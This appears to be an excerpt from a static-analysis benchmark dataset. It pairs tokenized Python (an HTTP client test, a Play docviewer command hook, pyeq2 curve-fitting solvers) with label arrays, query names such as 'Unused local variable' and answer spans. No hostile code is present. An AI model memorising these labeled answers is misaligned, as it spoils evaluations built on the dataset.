"\"", "count", "\":", "4", "}\\\\", "n", "\\\\", "r", "\\\\", "n1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "1_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "2_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Multi", "Part", "Form_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "multip", "art", " ", "form", " ", "for", " ", "Requeste", "r", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Multi", "Part", "Form_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "610", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "POST", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "u", "'", "Conten", "t", "-", "Type", "'_", ",_", "u", "'", "multip", "art", "/", "form", "-", "data", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "far", "gs_", "=_", "odict_", "(_", "[_", "(_", "\"", "text", "\"_", ",_", "\"", "Thi", "s", " ", "is", " ", "the", " ", "life", ",\\\\", "n", "It", " ", "is", " ", "the", " ", "best", ".\\\\", "n", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "html", "\"_", ",_", "\"<", "html", "><", "body", "><", "/", "body", "><", "html", ">\"_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", "far", "gs_", "=_", "far", "gs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "b", "'", "Conten", "t", "-", "Dispo", "sition", ":", " ", "form", "-", "data", ";", " ", "name", "=\"", "text", "\"\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "text", "/", "plain", ";", " ", "charset", "=", "utf", "-", "8", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "Thi", "s", " ", "is", " ", "the", " ", "life", ",\\\\", "n", "It", " ", "is", " ", "the", " ", "best", ".\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "in_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "b", "'", "Conten", "t", "-", "Dispo", "sition", ":", " ", "form", "-", "data", ";", " ", "name", "=\"", "html", "\"\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "text", "/", "plain", ";", " ", "charset", "=", "utf", "-", "8", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "<", "html", "><", "body", "><", "/", "body", "><", "html", ">\\\\", "r", "\\\\", "n", "'_", "in_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "request_", "._", "head_", "._", "startswith_", "(_", "b", "'", "POST", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "325", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "multip", "art", "/", "form", "-", "data", ";", " ", "bound", "ary", "='_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
deanhiller/databus/webapp/play1.3.x/modules/docviewer/commands.py
[ { "content": "def execute(**kargs):\n command = kargs.get(\"command\")\n app = kargs.get(\"app\")\n args = kargs.get(\"args\")\n env = kargs.get(\"env\")\n\n if command == \"doc:export\":\n print \"~ Generating project documentation\"\n print \"~ \"\n java_cmd = app.java_cmd([], None, \"play.modules.docviewer.ExportDocumentationGenerator\", args)\n try:\n subprocess.call(java_cmd, env=os.environ)\n except OSError:\n print \"Could not execute the java executable, please make sure the JAVA_HOME environment variable is set properly (the java executable should reside at JAVA_HOME/bin/java). \"\n sys.exit(-1)\n print", "metadata": "root.execute", "header": "['module', '___EOS___']", "index": 12 }, { "content": "def before(**kargs):\n command = kargs.get(\"command\")\n app = kargs.get(\"app\")\n args = kargs.get(\"args\")\n env = kargs.get(\"env\")", "metadata": "root.before", "header": "['module', '___EOS___']", "index": 30 }, { "content": "def after(**kargs):\n command = kargs.get(\"command\")\n app = kargs.get(\"app\")\n args = kargs.get(\"args\")\n env = kargs.get(\"env\")\n\n if command == \"new\":\n pass", "metadata": "root.after", "header": "['module', '___EOS___']", "index": 38 } ]
[ { "span": "env ", "start_line": 16, "start_column": 4, "end_line": 16, "end_column": 7 }, { "span": "command ", "start_line": 31, "start_column": 4, "end_line": 31, "end_column": 11 }, { "span": "app ", "start_line": 32, "start_column": 4, "end_line": 32, "end_column": 7 }, { "span": "args ", "start_line": 33, "start_column": 4, "end_line": 33, "end_column": 8 }, { "span": "env ", "start_line": 34, "start_column": 4, "end_line": 34, "end_column": 7 }, { "span": "app ", "start_line": 40, "start_column": 4, "end_line": 40, "end_column": 7 }, { "span": "args ", "start_line": 41, "start_column": 4, "end_line": 41, "end_column": 8 }, { "span": "env ", "start_line": 42, "start_column": 4, "end_line": 42, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "execute_", "(_", "**_", "kargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "=_", "kargs_", "._", "get_", "(_", "\"", "command", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "=_", "kargs_", "._", "get_", "(_", "\"", "app", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "kargs_", "._", "get_", "(_", "\"", "args", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "=_", "kargs_", "._", "get_", "(_", "\"", "env", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "command_", "==_", "\"", "doc", ":", "export", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "~", " ", "Generat", "ing", " ", "project", " ", "documentation", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "~", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "java", "\\u", "cmd_", "=_", "app_", "._", "java", "\\u", "cmd_", "(_", "[_", "]_", ",_", "None_", ",_", "\"", "play", ".", "module", "s", ".", "doc", "viewer", ".", "Export", "Document", "ation", "Generat", "or", "\"_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subprocess_", "._", "call_", "(_", "java", "\\u", "cmd_", ",_", "env_", "=_", "os_", "._", "environ_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "OSE", "rror_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Cou", "ld", " ", "not", " ", "execute", " ", "the", " ", "java", " ", "executable", ",", " ", "plea", "se", " ", "make", " ", "sure", " ", "the", " ", "JAVA", "\\u", "HOM", "E", " ", "environ", "ment", " ", "variab", "le", " ", "is", " ", "set", " ", "proper", "ly", " ", "(", "the", " ", "java", " ", "executable", " ", "shou", "ld", " ", "reside", " ", "at", " ", "JAVA", "\\u", "HOM", "E", "/", "bin", "/", "java", ").", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "before_", "(_", "**_", "kargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "=_", "kargs_", "._", "get_", "(_", "\"", "command", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "=_", "kargs_", "._", "get_", "(_", "\"", "app", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "kargs_", "._", "get_", "(_", "\"", "args", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "=_", "kargs_", "._", "get_", "(_", "\"", "env", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "after_", "(_", "**_", "kargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "command_", "=_", "kargs_", "._", "get_", "(_", "\"", "command", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "=_", "kargs_", "._", "get_", "(_", "\"", "app", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "=_", "kargs_", "._", "get_", "(_", "\"", "args", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "=_", "kargs_", "._", "get_", "(_", "\"", "env", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "command_", "==_", "\"", "new", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
zunzun/pyeq2/Services/SolverService.py
[ { "content": "from __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import absolute_import\n\n# pyeq2 is a collection of equations expressed as Python classes\n#\n# Copyright (C) 2013 James R. Phillips\n# 2548 Vera Cruz Drive\n# Birmingham, AL 35235 USA\n#\n# email: zunzun@zunzun.com\n#\n# License: BSD-style (see LICENSE.txt in main source directory)\n\nimport numpy, copy\ntry:\n import scipy.interpolate, scipy.optimize, scipy.odr.odrpack\nexcept:\n pass\nnumpy.seterr(all= 'ignore')\n\nimport pyeq2\nfrom . import diffev\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": " def SolveUsingSelectedAlgorithm(self, inModel, inAlgorithmName):\n \n if inAlgorithmName not in self.ListOfNonLinearSolverAlgorithmNames:\n raise Exception('\"' + inAlgorithmName + '\" was not in the list of known non-linear solver algorithm names. Please see the SolverService class definition.')\n\n inModel.dataCache.FindOrCreateAllDataCache(inModel)\n inModel.dataCache.FindOrCreateReducedDataCache(inModel)\n\n results = []\n # try with initial coefficients equal to 1\n try:\n if inAlgorithmName == 'Levenberg-Marquardt':\n coeffs, unused = scipy.optimize.curve_fit(inModel.WrapperForScipyCurveFit, None, inModel.dataCache.allDataCacheDictionary['DependentData'], numpy.ones(len(inModel.GetCoefficientDesignators())), maxfev=1000000)\n else:\n coeffs = scipy.optimize.minimize(inModel.CalculateAllDataFittingTarget, numpy.ones(len(inModel.GetCoefficientDesignators())), method=inAlgorithmName, maxiter = len(inModel.estimatedCoefficients) * self.fminIterationLimit, disp = 0)\n SSQ = inModel.CalculateAllDataFittingTarget(coeffs)\n results.append([SSQ, coeffs])\n except:\n pass\n \n # try with initial coefficients from DE\n try:\n if inAlgorithmName == 'Levenberg-Marquardt':\n coeffs, unused = scipy.optimize.curve_fit(inModel.WrapperForScipyCurveFit, None, inModel.dataCache.allDataCacheDictionary['DependentData'], inModel.deEstimatedCoefficients, maxfev=1000000) # initial coefficients are all equal to 1\n else:\n coeffs = scipy.optimize.minimize(inModel.CalculateAllDataFittingTarget, inModel.deEstimatedCoefficients, method=inAlgorithmName, maxiter = len(inModel.estimatedCoefficients) * self.fminIterationLimit, disp = 0)\n SSQ = inModel.CalculateAllDataFittingTarget(coeffs)\n results.append([SSQ, coeffs])\n except:\n pass\n \n # try using estimated coefficients, if any\n if len(inModel.estimatedCoefficients) > 0:\n try:\n coeffs = inModel.estimatedCoefficients\n SSQ = inModel.CalculateAllDataFittingTarget(coeffs)\n results.append([SSQ, coeffs])\n except:\n pass\n \n try:\n if inAlgorithmName == 'Levenberg-Marquardt':\n coeffs, unused = scipy.optimize.curve_fit(inModel.WrapperForScipyCurveFit, None, inModel.dataCache.allDataCacheDictionary['DependentData'], inModel.estimatedCoefficients, maxfev=1000000)\n else:\n coeffs = scipy.optimize.minimize(inModel.CalculateAllDataFittingTarget, inModel.estimatedCoefficients, method=inAlgorithmName, maxiter = len(inModel.estimatedCoefficients) * self.fminIterationLimit, disp = 0)\n SSQ = inModel.CalculateAllDataFittingTarget(coeffs)\n results.append([SSQ, coeffs])\n except:\n pass\n \n if results == []:\n return numpy.ones(len(inModel.GetCoefficientDesignators()))\n \n if len(results) > 1:\n results.sort(key=lambda item: item[0])\n \n inModel.solvedCoefficients = results[0][1]\n return inModel.solvedCoefficients", "metadata": "root.SolverService.SolveUsingSelectedAlgorithm", "header": "['class', 'SolverService', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', \"# these are taken from docs for scipy.optimize.minimize, except for 'Levenberg=Marquardt'.\", '___NL___', \"# The algorithms 'L-BFGS-B' and 'TNC' are not on the list as they are bounded versions of other algorithms listed here.\", '___NL___', '___EOS___']", "index": 111 }, { "content": " def SolveUsingODR(self, inModel):\n\n data = inModel.dataCache.FindOrCreateAllDataCache(inModel)\n modelObject = scipy.odr.odrpack.Model(inModel.WrapperForODR)\n if len(inModel.dataCache.allDataCacheDictionary['Weights']):\n dataObject = scipy.odr.odrpack.Data(inModel.dataCache.allDataCacheDictionary['IndependentData'], inModel.dataCache.allDataCacheDictionary['DependentData'], inModel.dataCache.allDataCacheDictionary['Weights'])\n else:\n dataObject = scipy.odr.odrpack.Data(inModel.dataCache.allDataCacheDictionary['IndependentData'], inModel.dataCache.allDataCacheDictionary['DependentData'])\n \n results = []\n \n # try with initial coefficients equal to 1\n try:\n myodr = scipy.odr.odrpack.ODR(dataObject, modelObject, beta0=numpy.ones(len(inModel.GetCoefficientDesignators())), maxit=len(inModel.GetCoefficientDesignators()) * self.fminIterationLimit)\n myodr.set_job(fit_type=0, deriv=0) # explicit ODR, faster forward-only finite differences for derivatives\n out = myodr.run()\n coeffs = out.beta\n SSQ = out.sum_square\n if not numpy.any(numpy.isnan(coeffs)):\n results.append([SSQ, coeffs])\n except:\n pass\n \n # try with initial coefficients from DE\n try:\n myodr = scipy.odr.odrpack.ODR(dataObject, modelObject, beta0=inModel.deEstimatedCoefficients, maxit=len(inModel.GetCoefficientDesignators()) * self.fminIterationLimit)\n myodr.set_job(fit_type=0, deriv=0) # explicit ODR, faster forward-only finite differences for derivatives\n out = myodr.run()\n coeffs = out.beta\n SSQ = out.sum_square\n if not numpy.any(numpy.isnan(coeffs)):\n results.append([SSQ, coeffs])\n except:\n pass\n \n # try using estimated coefficients, if any\n if len(inModel.estimatedCoefficients) > 0:\n try:\n coeffs = inModel.estimatedCoefficients\n SSQ = inModel.CalculateAllDataFittingTarget(coeffs)\n results.append([SSQ, coeffs])\n except:\n pass\n \n try:\n myodr = scipy.odr.odrpack.ODR(dataObject, modelObject, beta0=inModel.estimatedCoefficients, maxit=len(inModel.GetCoefficientDesignators()) * self.fminIterationLimit)\n myodr.set_job(fit_type=0, deriv=0) # explicit ODR, faster forward-only finite differences for derivatives\n out = myodr.run()\n coeffs = out.beta\n SSQ = out.sum_square\n if not numpy.any(numpy.isnan(coeffs)):\n results.append([SSQ, coeffs])\n except:\n pass\n \n if results == []:\n return numpy.ones(len(inModel.GetCoefficientDesignators()))\n \n if len(results) > 1:\n results.sort(key=lambda item: item[0])\n \n inModel.solvedCoefficients = results[0][1]\n return inModel.solvedCoefficients", "metadata": "root.SolverService.SolveUsingODR", "header": "['class', 'SolverService', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', \"# these are taken from docs for scipy.optimize.minimize, except for 'Levenberg=Marquardt'.\", '___NL___', \"# The algorithms 'L-BFGS-B' and 'TNC' are not on the list as they are bounded versions of other algorithms listed here.\", '___NL___', '___EOS___']", "index": 171 }, { "content": " def SolveStatisticalDistribution(self, distributionName, data, inCriteriaForUseInListSorting):\n \n criteriaList = ['AIC', 'AICc_BA', 'nnlf']\n if inCriteriaForUseInListSorting not in criteriaList:\n raise Exception('Criteria to calculate for use in sorting was not in', str(criteriaList))\n \n try:\n exec('distribution = scipy.stats.' + distributionName)\n except:\n return 0\n\n # only need to calculate these once\n eps = numpy.finfo(float).eps * 2.0\n data_min = data.min()\n data_max = data.max()\n data_mean = data.mean()\n data_range = data_max - data_min\n data_std_dev = numpy.std(data, dtype=numpy.float32) # note on precision http://docs.scipy.org/doc/numpy/reference/generated/numpy.std.html \n \n \n # Try different starting parameters\n best_nnlf = 1.0E300\n best_parameters = None\n \n if distribution.name in ['beta']:\n try:\n 